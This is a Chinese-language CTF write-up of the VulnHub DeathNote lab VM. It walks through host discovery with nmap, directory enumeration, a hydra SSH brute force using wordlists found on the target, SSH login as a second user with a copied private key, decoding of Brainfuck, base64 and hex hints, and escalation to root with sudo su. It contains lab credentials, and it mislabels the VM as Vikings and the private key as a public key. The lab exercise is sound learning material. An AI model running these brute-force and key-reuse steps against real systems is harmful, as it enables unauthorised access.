本文最后更新于 2024-07-26,文章内容可能已经过时。

DeathNote靶机渗透实战笔记

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

实验环境:

kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)

Vikings靶机(vitualBox)

kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。

image-20240708104331480

靶机下载地址

https://www.vulnhub.com/entry/vikings-1,741/

主机发现

nmap扫描网段信息

nmap -sP 192.168.228.0/24

image-20240708104343465

发现目标主机192.168.228.13

信息搜集

nmap扫描

nmap扫描目标主机详细信

nmap -p 1-65535 -sV -O -A 192.168.228.13

image-20240708104656315

发现目标主机开启了22,80端口,Debian系统,还扫描到了ssh-hostkey等加密密钥的信息

80端口上是一个http服务

浏览器尝试访问,发现跳转到一个域名下

http://deathnote.vuln/wordpress

这里访问不到是因为没有配置hosts文件

image-20240708104413715

配置hosts文件以便访问域名

sudo vim /etc/hosts 
# 添加一条 192.168.228.13 deathnote.vuln
#wq保存退出

保存退出后再尝试访问域名

image-20240708105033326

web页面是死亡笔记的图片,是卡密,看了看,页面中好像没有什么可以利用的信息

子域名爆破

使用子域名爆破一下

使用gobuster扫描
#使用gobuster扫描  http://deathnote.vuln/wordpress/
gobuster dir -u http://deathnote.vuln/wordpress/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

#-t 50 快速扫描

image-20240708105937454

扫描到了一些目录,其中有个admin的,好像是后台,访问看看

image-20240708110034917

成功访问到了目标服务器的后台页面,看样子这个应该是wordpress博客框架搭建的网站

可以使用wpscan扫描wordpress框架搭建的网站

#更新 RubyGems 到最新版本
gem update --system

#尝试手动安装 'yajl-ruby' gem
gem install yajl-ruby


#安装wpscan
gem install wpscan 


#如果安装了任然运行不了,可以尝试使用 RVM (Ruby Version Manager) 来管理 Ruby 环境,并创建一个新的 Ruby 环境来运行 wpscan。
#安装 RVM:
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
\curl -sSL https://get.rvm.io | bash -s stable

#创建新的 Ruby 环境并安装 wpscan:
rvm install 3.0.0
rvm use 3.0.0
gem install wpscan
使用wpscan扫描
wpscan --url=http://deathnote.vuln/wordpress/wp-login.php -e
#没有扫描出来什么可利用的

image-20240708110945155

image-20240708111012936

换一个目录扫描工具dirsearch继续扫描子域名

使用dirsearch扫描
dirsearch -u http://deathnote.vuln/wordpress

image-20240708113605700

使用dirb扫描

image-20240708113840713

发现一个上传目录

http://deathnote.vuln/wordpress/wp-content/uploads/

访问查看,发现其中有个2021,查找看看有么有可用的信息

image-20240708113953009

点击2021后,有07,08,09三个目录,在07目录下找到了两个文本文件notes.txt和user,txt,下载下来查看一下

image-20240708114110019

##  user.txt的内容如下
KIRA
L
ryuk
rem
misa
siochira 
light
takada
near
mello
l
kira
RYUK
REM
SIOCHIRA
LIGHT
NEAR


##  notes.txt的内容如下
death4
death4life
death4u
death4ever
death4all
death420
death45
death4love
death49
death48
death456
death4014
1death4u
yaydeath44
thedeath4u2
thedeath4u
stickdeath420
reddeath44
megadeath44
megadeath4
killdeath405
hot2death4sho
death4south
death4now
death4l0ve
death4free
death4elmo
death4blood
death499Eyes301
death498
death4859
death47
death4545
death445
death444
death4387n
death4332387
death42521439
death42
death4138
death411
death405
death4me

漏洞扫描

webcopilot扫描

使用webcopilot扫描一下有什么漏洞可以利用

webcopilot -d http://deathnote.vuln/wordpress

image-20240708111725649

image-20240708115101790

没有什么可以利用的

在之前拿到了两个文本文件notes.txt和user.txt,服务器又开启了22的ssh服务端口,盲猜一下这两个文件应该是用来ssh登录用的,可以通过它们制作字典来爆破一下ssh服务器的密码

尝试用hydra爆破ssh
 hydra -L user.txt -P notes.txt 192.168.228.13 ssh -V -f

image-20240708115728928

image-20240708120001190

成功爆破出了ssh的密码

#用户名:l
#密码:death4me

拿到了用户为l的ssh登录的密码。

使用ssh登录

ssh l@192.168.228.13
#输入密码death4me

image-20240708120357957

成功登录(卡密:计划通.jpg)

提权

查看目录下有什么,和系统的基本信息,在目录下找到了user.txt文本文件

查看一下,发现是一堆意义不明的字符串

image-20240708120553039

先保存下来

l@deathnote:~$ cat user.txt 
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.------------.+.+++++.---.<<.>>++++++++++.<<.>>--------------.++++++++.+++++.<<.>>.------------.---.<<.>>++++++++++++++.-----------.---.+++++++..<<.++++++++++++.------------.>>----------.+++++++++++++++++++.-.<<.>>+++++.----------.++++++.<<.>>++.--------.-.++++++.<<.>>------------------.+++.<<.>>----.+.++++++++++.-------.<<.>>+++++++++++++++.-----.<<.>>----.--.+++..<<.>>+.--------.<<.+++++++++++++.>>++++++.--.+++++++++.-----------------.

通过查找,发现是一个 Brainfuck程序,Brainfuck 是一种极简的编程语言,使用8个基本指令来操作内存和输出结果

Brainfuck 编程语言 由 8 个命令组成:

语法 含义
> 指针向右移动一格
< 指针向左移动一格
+ 使指针当前格的字节数值加1
- 使指针当前格的字节数值减1
. 把当前格数值按 ASCII 表输出到终端
, 接受一个字节的输入,将其值存储在数据指针的字节中。
[ 当指针当前值为 0 时,程序跳转至与之对应的 ] 之后;否则程序正常执行
] 程序跳转回与之对应的 [ 处

Brainfuck 语言图形化演示:https://openprocessing.org/sketch/516467

Brainfuck 语言在线解码:https://www.splitbrain.org/services/ook

image-20240708141358041

翻译一下:

我想你得到了shell,但你无法杀死我-基拉

查看一下其他目录。

cat /etc/passwd

image-20240708120746428

找到了其他的用户还有kira等

查看一下.ssh目录有没有相关的信息

image-20240708122431671

在.ssh目录下找到了公钥文件

拷贝出来到kali文件夹下

scp id_rsa root@192.168.228.4:/root/桌面/DethNote

image-20240708133224610

image-20240708133244079

修改公钥文件的权限,然后用ssh登录kira用户

#将文件的权限设置只有文件所有者有读写权限,其他用户没有任何权限
chmod 600 id_rsa

#使用公钥文件ssh登录到kira用户
ssh kira@192.168.228.13 -i id_rsa

image-20240708133710653

成功登录到kira用户的ssh的shell

查看用户目录发现有一个kira.txt的文本文件,cat查看后发现是base64加密的一串信息

image-20240708133851331

拷贝出来,放到base64解码

image-20240708133946074

#得出的信息如下
please protect one of the following

  1. L (/opt)
  2. Misa (/var)

根据提示进入/opt目录下看看 一步一步进入到fake-notebook-rule目录下有两个文件

image-20240708134228314

分别查看这两个文件内容

image-20240708134309306

case.wav 里面给出一组16进制数,hint 提示用cyberchef解密

打开cyberchef在线解码网站https://gchq.github.io/CyberChef/

添加from hex,from base64

image-20240708135716697

得到密码:kiraisevil

Getshell

尝试之前得到密码切换到root账号

sudo su
#输入密码kiraisevil
whoami
id
ip a

image-20240708140023408

image-20240708140127748

切换到更目录,拿到flag文件

image-20240708140233753

##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF

总结

1.在目录扫描到了ssh用户名和密码的字典文件,使用hydra爆破出来ssh账号密码,在爆破出来的账号目录下拿到私钥,登录到另外一个账号

2.要多使用多种子域名工具进行爆破子域名,如gobuster和dirsearch,dirb等等

3.使用webcopilot扫描基本漏洞信息。

4.碰到wordpress框架写的web应用,可以考虑使用wpscan进行漏洞扫描

4.在账号目录下根据提示去到/opt目录下找到两个文件,使用Brainfuck解码user文件。得到user.txt文本信息;使用CyberChef解码添加参数from hex和base64解码出来密码。

5.使用密码登录到root用户成功提权,拿到flag.txt,成功Getshell